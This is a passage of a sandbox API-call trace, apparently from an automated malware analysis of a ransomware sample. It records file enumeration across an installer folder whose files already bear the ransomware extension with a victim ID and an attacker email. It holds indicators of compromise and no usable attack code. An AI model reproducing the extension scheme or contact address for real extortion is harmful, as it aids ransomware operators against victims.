cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.783] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.783] FindClose (in: hFindFile=0x67a6b8 | out: hFindFile=0x67a6b8) returned 1 [0191.785] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.785] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0191.785] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.785] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a6b8 [0191.786] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.786] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399f8ee4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399f8ee4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ade448, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.786] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a8ea01, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a8ea01, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a8ea01, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.787] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a42956, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.787] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a42956, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.787] FindClose (in: hFindFile=0x67a6b8 | out: hFindFile=0x67a6b8) returned 1 [0191.788] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.788] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0191.788] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.788] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750fd0 [0191.940] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.940] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ab4c82, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ab4c82, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ab4c82, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0191.940] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b00fdb, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b00fdb, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b00fdb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0191.941] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b00fdb, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b00fdb, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b00fdb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 0 [0191.941] FindClose (in: hFindFile=0x750fd0 | out: hFindFile=0x750fd0) returned 1 [0191.942] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.942] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b271f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b271f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b271f3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DHTMLH~1.NEW")) returned 1 [0191.942] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e48251, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DISPLA~1.NEW")) returned 1 [0191.942] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0191.942] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.942] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750d90 [0191.943] FindNextFileW (in: hFindFile=0x750d90, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.943] FindNextFileW (in: hFindFile=0x750d90, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b271f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b271f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f53441, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0191.944] FindNextFileW (in: hFindFile=0x750d90, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d16ffd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d16ffd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0191.944] FindNextFileW (in: hFindFile=0x750d90, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d16ffd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d16ffd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 0 [0191.944] FindClose (in: hFindFile=0x750d90 | out: hFindFile=0x750d90) returned 1 [0191.945] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.945] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0191.945] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.945] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750f50 [0191.946] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.946] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c3218a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c3218a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c3218a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PRINTI~1.NEW")) returned 1 [0191.946] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c584d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c584d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c584d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~1.NEW")) returned 1 [0191.947] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c584d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c584d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a15cb3f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~2.NEW")) returned 1 [0191.947] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c7e619, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c7e619, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~3.NEW")) returned 1 [0191.947] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ccaa9f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ccaa9f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ccaa9f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~4.NEW")) returned 1 [0191.947] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39cf15ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39cf15ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a2da735, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROC56F~1.NEW")) returned 1 [0191.947] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39daf888, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39daf888, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39dfbea6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO1411~1.NEW")) returned 1 [0191.947] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e221c4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e221c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e221c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO62C2~1.NEW")) returned 1 [0191.947] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e6e6a1, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e6e6a1, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e94783, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO2111~1.NEW")) returned 1 [0191.948] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e48251, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e48251, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e48251, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SAVEIC~1.NEW")) returned 1 [0191.948] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e6e6a1, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e6e6a1, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e6e6a1, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPI~1.NEW")) returned 1 [0191.948] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e94783, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e94783, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a457c67, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="STOPIC~1.NEW")) returned 1 [0191.948] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e94783, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e94783, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39eba991, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SYSREQ~1.NEW")) returned 1 [0191.948] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39eba991, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39eba991, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39eba991, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SYSREQ~2.NEW")) returned 1 [0191.948] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ee0cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ee0cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ee0cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WARNIC~1.NEW")) returned 1 [0191.949] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ee0cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ee0cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ee0cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WARNIC~1.NEW")) returned 0 [0191.949] FindClose (in: hFindFile=0x750f50 | out: hFindFile=0x750f50) returned 1 [0191.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.950] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, 